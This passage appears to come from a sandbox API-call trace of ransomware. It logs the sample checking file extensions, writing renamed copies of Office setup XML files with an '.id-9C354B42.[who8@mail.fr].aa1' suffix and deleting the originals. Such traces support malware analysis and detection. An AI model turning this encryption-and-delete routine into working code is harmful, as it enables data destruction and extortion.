returned 4 [0209.841] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.841] lstrlenW (lpString=".1cd") returned 4 [0209.841] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML") returned 114 [0209.841] lstrlenW (lpString=".jpg") returned 4 [0209.841] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.841] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.841] lstrlenW (lpString="SETUP.XML") returned 9 [0209.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.850] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1886) returned 1 [0209.850] CloseHandle (hObject=0x178) returned 1 [0209.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 0x20 [0209.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.851] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.851] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.851] GetLastError () returned 0x0 [0209.851] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x75e, lpOverlapped=0x0) returned 1 [0209.911] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x760, lpOverlapped=0x0) returned 1 [0209.912] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.912] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.912] SetEndOfFile (hFile=0x1fc) returned 1 [0209.912] CloseHandle (hObject=0x1fc) returned 1 [0209.913] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.913] SetEndOfFile (hFile=0x178) returned 1 [0209.914] CloseHandle (hObject=0x178) returned 1 [0209.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.914] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\setup.xml")) returned 1 [0209.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.914] lstrlenW (lpString=".doc") returned 4 [0209.914] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.915] lstrlenW (lpString=".docx") returned 5 [0209.915] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.915] lstrlenW (lpString=".pdf") returned 4 [0209.915] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.915] lstrlenW (lpString=".xls") returned 4 [0209.915] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.915] lstrlenW (lpString=".xlsx") returned 5 [0209.915] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.915] lstrlenW (lpString=".ppt") returned 4 [0209.915] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.915] lstrlenW (lpString=".zip") returned 4 [0209.915] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.915] lstrlenW (lpString=".rar") returned 4 [0209.915] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.915] lstrlenW (lpString=".bz2") returned 4 [0209.915] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.915] lstrlenW (lpString=".7z") returned 3 [0209.915] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.915] lstrlenW (lpString=".dbf") returned 4 [0209.915] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.915] lstrlenW (lpString=".1cd") returned 4 [0209.915] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.915] lstrlenW (lpString=".jpg") returned 4 [0209.915] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.916] lstrlenW (lpString=".doc") returned 4 [0209.916] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.916] lstrlenW (lpString=".docx") returned 5 [0209.916] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.916] lstrlenW (lpString=".pdf") returned 4 [0209.916] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.916] lstrlenW (lpString=".xls") returned 4 [0209.916] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.916] lstrlenW (lpString=".xlsx") returned 5 [0209.916] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.916] lstrlenW (lpString=".ppt") returned 4 [0209.916] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.916] lstrlenW (lpString=".zip") returned 4 [0209.916] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.916] lstrlenW (lpString=".rar") returned 4 [0209.916] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.916] lstrlenW (lpString=".bz2") returned 4 [0209.916] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.916] lstrlenW (lpString=".7z") returned 3 [0209.916] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.916] lstrlenW (lpString=".dbf") returned 4 [0209.916] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.916] lstrlenW (lpString=".1cd") returned 4 [0209.916] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\SETUP.XML") returned 106 [0209.917] lstrlenW (lpString=".jpg") returned 4 [0209.917] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.917] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.917] lstrlenW (lpString="Proof.XML") returned 9 [0209.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.917] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1347) returned 1 [0209.917] CloseHandle (hObject=0x178) returned 1 [0209.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0209.917] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0209.918] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.918] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.918] GetLastError () returned 0x0 [0209.918] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x543, lpOverlapped=0x0) returned 1 [0209.985] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x550, lpOverlapped=0x0) returned 1 [0209.986] ReadFile (in: hFile=0x178, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.986] WriteFile (in: hFile=0x1fc, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0209.986] SetEndOfFile (hFile=0x1fc) returned 1 [0209.986] CloseHandle (hObject=0x1fc) returned 1 [0209.989] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.989] SetEndOfFile (hFile=0x178) returned 1 [0209.990] CloseHandle (hObject=0x178) returned 1 [0209.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.990] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0209.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.991] lstrlenW (lpString=".doc") returned 4 [0209.991] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".docx") returned 5 [0209.991] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0209.991] lstrlenW (lpString=".pdf") returned 4 [0209.991] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".xls") returned 4 [0209.991] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".xlsx") returned 5 [0209.991] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0209.991] lstrlenW (lpString=".ppt") returned 4 [0209.991] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.991] lstrlenW (lpString=".zip") returned 4 [0209.991] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.991] lstrlenW (lpString=".rar") returned 4 [0209.991] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".bz2") returned 4 [0209.991] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.991] lstrlenW (lpString=".7z") returned 3 [0209.991] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.991] lstrlenW (lpString=".dbf") returned 4 [0209.991] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.992] lstrlenW (lpString=".1cd") returned 4 [0209.992] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.992] lstrlenW (lpString=".jpg") returned 4 [0209.992] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.992] lstrlenW (lpString=".doc") returned 4 [0209.992] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.992] lstrlenW (lpString=".docx") returned 5 [0209.992] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0209.992] lstrlenW (lpString=".pdf") returned 4 [0209.992] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.992] lstrlenW (lpString=".xls") returned 4 [0209.992] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.992] lstrlenW (lpString=".xlsx") returned 5 [0209.992] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0209.992] lstrlenW (lpString=".ppt") returned 4 [0209.992] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.992] lstrlenW (lpString=".zip") returned 4 [0209.992] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.993] lstrlenW (lpString=".rar") returned 4 [0209.993] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.993] lstrlenW (lpString=".bz2") returned 4 [0209.993] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.993] lstrlenW (lpString=".7z") returned 3 [0209.993] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.993] lstrlenW (lpString=".dbf") returned 4 [0209.993] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.993] lstrlenW (lpString=".1cd") returned 4 [0209.993] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0209.993] lstrlenW (lpString=".jpg") returned 4 [0209.993] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.993] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.993] lstrlenW (lpString="Proof.XML") returned 9 [0209.994] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0210.003] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1457) returned 1 [0210.003] CloseHandle (hObject=0x204) returned 1 [0210.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0210.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0210.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0210.009] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.009] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0210.010] GetLastError () returned 0x0 [0210.010] ReadFile (in: hFile=0x204, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0210.191] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0210.192] ReadFile (in: hFile=0x204, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.192] WriteFile (in: hFile=0x178, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.192] SetEndOfFile (hFile=0x178) returned 1 [0210.192] CloseHandle (hObject=0x178) returned 1 [0210.196] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.196] SetEndOfFile (hFile=0x204) returned 1 [0210.198] CloseHandle (hObject=0x204) returned 1 [0210.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0210.198] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0210.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.199] lstrlenW (lpString=".doc") returned 4 [0210.199] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.199] lstrlenW (lpString=".docx") returned 5 [0210.199] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0210.199] lstrlenW (lpString=".pdf") returned 4 [0210.199] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.199] lstrlenW (lpString=".xls") returned 4 [0210.199] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.199] lstrlenW (lpString=".xlsx") returned 5 [0210.199] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0210.199] lstrlenW (lpString=".ppt") returned 4 [0210.199] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.199] lstrlenW (lpString=".zip") returned 4 [0210.199] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.199] lstrlenW (lpString=".rar") returned 4 [0210.199] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.199] lstrlenW (lpString=".bz2") returned 4 [0210.199] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.199] lstrlenW (lpString=".7z") returned 3 [0210.199] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.200] lstrlenW (lpString=".dbf") returned 4 [0210.200] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.200] lstrlenW (lpString=".1cd") returned 4 [0210.200] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.200] lstrlenW (lpString=".jpg") returned 4 [0210.200] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0210.200] lstrlenW (lpString=".doc") returned 4 [0210.200] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.200] lstrlenW (lpString=".docx") returned 5 [0210.200] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0210.200] lstrlenW (lpString=".pdf") returned 4 [0210.200] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.200] lstrlenW (lpString=".xls") returned 4 [0210.200] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.200] lstrlenW (lpString=".xlsx") returned 5 [0210.200] lstrcmpiW 